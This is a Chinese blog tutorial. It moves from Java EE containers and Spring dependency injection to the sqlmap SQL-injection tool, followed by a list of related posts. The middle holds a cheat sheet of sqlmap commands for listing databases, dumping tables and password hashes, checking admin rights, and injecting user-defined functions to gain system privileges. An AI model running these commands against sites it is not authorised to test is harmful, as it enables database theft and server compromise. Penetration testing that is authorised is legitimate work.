Container&injection
容器(Container)就是组件和底层服务细节之间的接口。在web组件、企业级Bean等能够执行之前,它必须被装配为一个JavaEE模块,并部署在容器上。
在JavaEE5时代通过注解的方式注入(injection)资源。依赖注入是Spring的思想,在使用Spring进行开发时,可以将对象交给spring进行管理,在初始化时spring创建一批对象,当你需要用的时候只要从spring的容器中获取对象,而不用自己去new,当然在对象创建的时候可以注入另一个对象。
网上的注入工具很多,大多也有比较详细的解释,但是大部分windows下的注入软件都是对自己软件的一种推荐,而且很多也不是非常的安全,对于有些破解版本来说,很可能自身会被带有木马,所以,Linux下的注入工具也是非常强大的,不过分的说,可以完全取代Windows下面的所有注入工具。我所介绍的是一款名为SQLMAP的注入工具,有感兴趣的可以去他的官网看看哦!
首先,SQLMAP是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多猥琐的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令
其次,SQLMAP支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
SQLMAP支持五种不同的注入模式:
l 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
l 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
l 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
l 联合查询注入,可以使用union的情况下的注入;
l 堆查询注入,可以同时执行多条语句的执行时的注入
一些简单的SQLMAP使用:
1. 基础用法:
一下./sqlmap.py 在kali和backtrack中使用sqlmap的时候,直接用:sqlmap
./sqlmap.py -u “注入地址” -v 1 –dbs // 列举数据库
./sqlmap.py -u “注入地址” -v 1 –current-db // 当前数据库
./sqlmap.py -u “注入地址” -v 1 –users // 列数据库用户
./sqlmap.py -u “注入地址” -v 1 –current-user // 当前用户
./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库” // 列举数据库的表名
./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “数据库” // 获取表的列名
./sqlmap.py -u “注入地址” -v 1 –dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的数据,包含列
sqlmap -u “ –smart –dbms “Mysql” –users #列数据库用户
sqlmap -u “ –smart –dbms “Mysql” –dbs#列数据库
sqlmap -u “ –smart –dbms “Mysql”–passwords #数据库用户密码
sqlmap -u “ –smart –dbms “Mysql”–passwords-U root -v 0 #列出指定用户数据库密码
sqlmap -u “ –smart –dbms “Mysql” –dump-all -v 0 #列出所有数据库所有表
sqlmap -u “ –smart –dbms “Mysql”–privileges #查看权限
sqlmap -u “ –smart –dbms “Mysql”–privileges -U root #查看指定用户权限
sqlmap -u “ –smart –dbms “Mysql” –is-dba -v 1 #是否是数据库管理员
sqlmap -u “ –smart –dbms “Mysql” –roles #枚举数据库用户角色
sqlmap -u “ –smart –dbms “Mysql”–udf-inject #导入用户自定义函数(获取系统权限!)
sqlmap -u “ –smart –dbms “Mysql”–dump-all –exclude-sysdbs -v 0 #列出当前库所有表
sqlmap -u “ –smart –dbms “Mysql” –union-check #是否支持union 注入
sqlmap -u “ –smart –dbms “Mysql”–union-cols #union 查询表记录
sqlmap -u “ –smart –dbms “Mysql” –union-test #union 语句测试
sqlmap -u “ –smart –dbms “Mysql” –union-use –banner #采用union 注入
sqlmap -u “ –smart –dbms “Mysql”–union-test –union-tech orderby #union 配合 order by
sqlmap -u “ –smart –dbms “Mysql”–method “POST” — data “id=1&cat=2″ #post注入
sqlmap -u “ –smart –dbms “Mysql”–cookie “COOKIE_VALUE” #cookie注入
sqlmap -u “ –smart –dbms “Mysql”-b #获取banner信息
sqlmap -u “http://url/news?id=1” –level=3 –smart-v 1 -f #指纹判别数据库类型
Container&injection的更多相关文章
- Container&injection(容器与注入思想)
container 为了更好理解JAVA容器,查询了容器的概念以及容器的诞生原因和历史: 容器技术是怎么一个概念呢?其实,IT里的容器技术是英文单词Linux Container的直译.contain ...
- container/injection简介以及发展历史
一:什么是Container?Container的作用? 容器是一个标准的软件单元,它将代码及其所有依赖关系打包,以便应用程序从一个计算环境快速可靠地运行到另一个计算环境.container的主要作用 ...
- Java EE ----- Container/Injection
容器(container)是一个类,实际上是component的子类,因此容器本身也是一个组件,具有组件的所有性质,但是它的主要功能是容纳其他组件和容器. 对于开发人员,需要引入复杂的代码解决事务以及 ...
- Container/Injection
1.容器的历史 容器概念始于 1979 年提出的 UNIX chroot,它是一个 UNIX 操作系统的系统调用,将一个进程及其子进程的根目录改变到文件系统中的一个新位置,让这些进程只能访问到这个新的 ...
- 为什么会出现container/injection的思想?
1.容器的历史 容器概念始于 1979 年提出的 UNIX chroot,它是一个 UNIX 操作系统的系统调用,将一个进程及其子进程的根目录改变到文件系统中的一个新位置,让这些进程只能访问到这个新的 ...
- Container/Injection 为什么会出现容器的思路,以后会有什么的趋势,未来是怎样的
一.为什么会出现容器的思路? 容器概念始于 1979 年提出的 UNIX chroot,它是一个 UNIX 操作系统的系统调用,将一个进程及其子进程的根目录改变到文件系统中的一个新位置,让这些进程只能 ...
- container injection——容器技术
(一)容器技术为什么出现 在很久很久以前,想要在线上服务器部署一个应用,首先需要购买一个物理服务器,在服务器安装一个操作系统,然后安装好应用所需要的各种依赖环境,最后才可以进行应用的部署,而且一台服务 ...
- weblogic环境,应用上传图片报Could not initialize class sun.awt.X11.XToolkit
问题描写叙述 遇到的问题是在weblogic环境,应用在上传图片的时候报Could not initialize class sun.awt.X11.XToolkit 错误. 详细错误例如以下 17: ...
- Container and Injection in Java
一.Container 1.为什么使用Container 通常,瘦客户端多层应用程序很难编写,因为它们涉及处理事务和状态管理.多线程.资源池和其他复杂的低级细节的复杂代码行.基于组件和独立于平台的Ja ...
随机推荐
- POJ 3264 线段树入门解题报告
题意:给n个值, Q次询问, 每次询问给定一个区间, 要求输出该区间最大最小值之差 思路:暴力的话每次询问都要遍历多次for循环一定会超时, 用线段树记录区间的信息(左边界右边界, 该区间最大值最小值 ...
- Spring 学习教程(三):Spring MVC
1. 用户访问 /index2. 根据web.xml中的配置 所有的访问都会经过DispatcherServlet3. 根据 根据配置文件springmvc-servlet.xml ,访问路径/ind ...
- Cocos Creator - 入门教程项目 - 博客频道 - CSDN.NET
3457 教程司令部 [20160418] | Cocos Creator - CocoaChina CocoaChina_让移动开发更简单cocoachina.com 2033 Cocos Crea ...
- cocos2d JS-(JavaScript) 冒泡排序
思想: 比较相邻的元素.如果第一个比第二个大,就交换他们两个. 对每一对相邻元素作同样的工作,从开始第一对到结尾的最后一对.在这一点,最后的元素应该会是最大的数. 针对所有的元素重复以上的步骤,除了最 ...
- centos----------防火墙firewalld和iptables
1.CentOS7默认的防火墙不是iptables,而是firewalle. 关闭防火墙 systemctl stop firewalld 启用防火墙 systemctl start firewall ...
- windows程序设计 Unicode和多字节
Unicode和多字节 Unicode是宽字符 多字节是窄字符 类型 变量类型 初始化方式 Unicode LPWSTR L"string" 多字节 LPSTR "str ...
- WAR包方式安装Jenkins
WAR包方式安装Jenkins 系统环境: CentOS 7.5 1804 IP:192.168.1.3 关闭selinux.firewalld jenkins war包:下载地址 一.安装t ...
- POJ 2154 color (polya + 欧拉优化)
Beads of N colors are connected together into a circular necklace of N beads (N<=1000000000). You ...
- Applet程序组件与AJAX技术
Applet 定义 Applet是一种运行于Web客户端环境下的Java程序组件. 工作原理 Applet以代码的形式嵌入Web页面中,用标签<applet></applet> ...
- KVM 通过virsh console连入虚拟机
新安装一台虚拟机后,是无法通过virsh console 命令连入虚拟机中的,这时我们需要开启虚拟机的console功能. 一.添加ttyS0的许可,允许root登陆 [root@localhost ...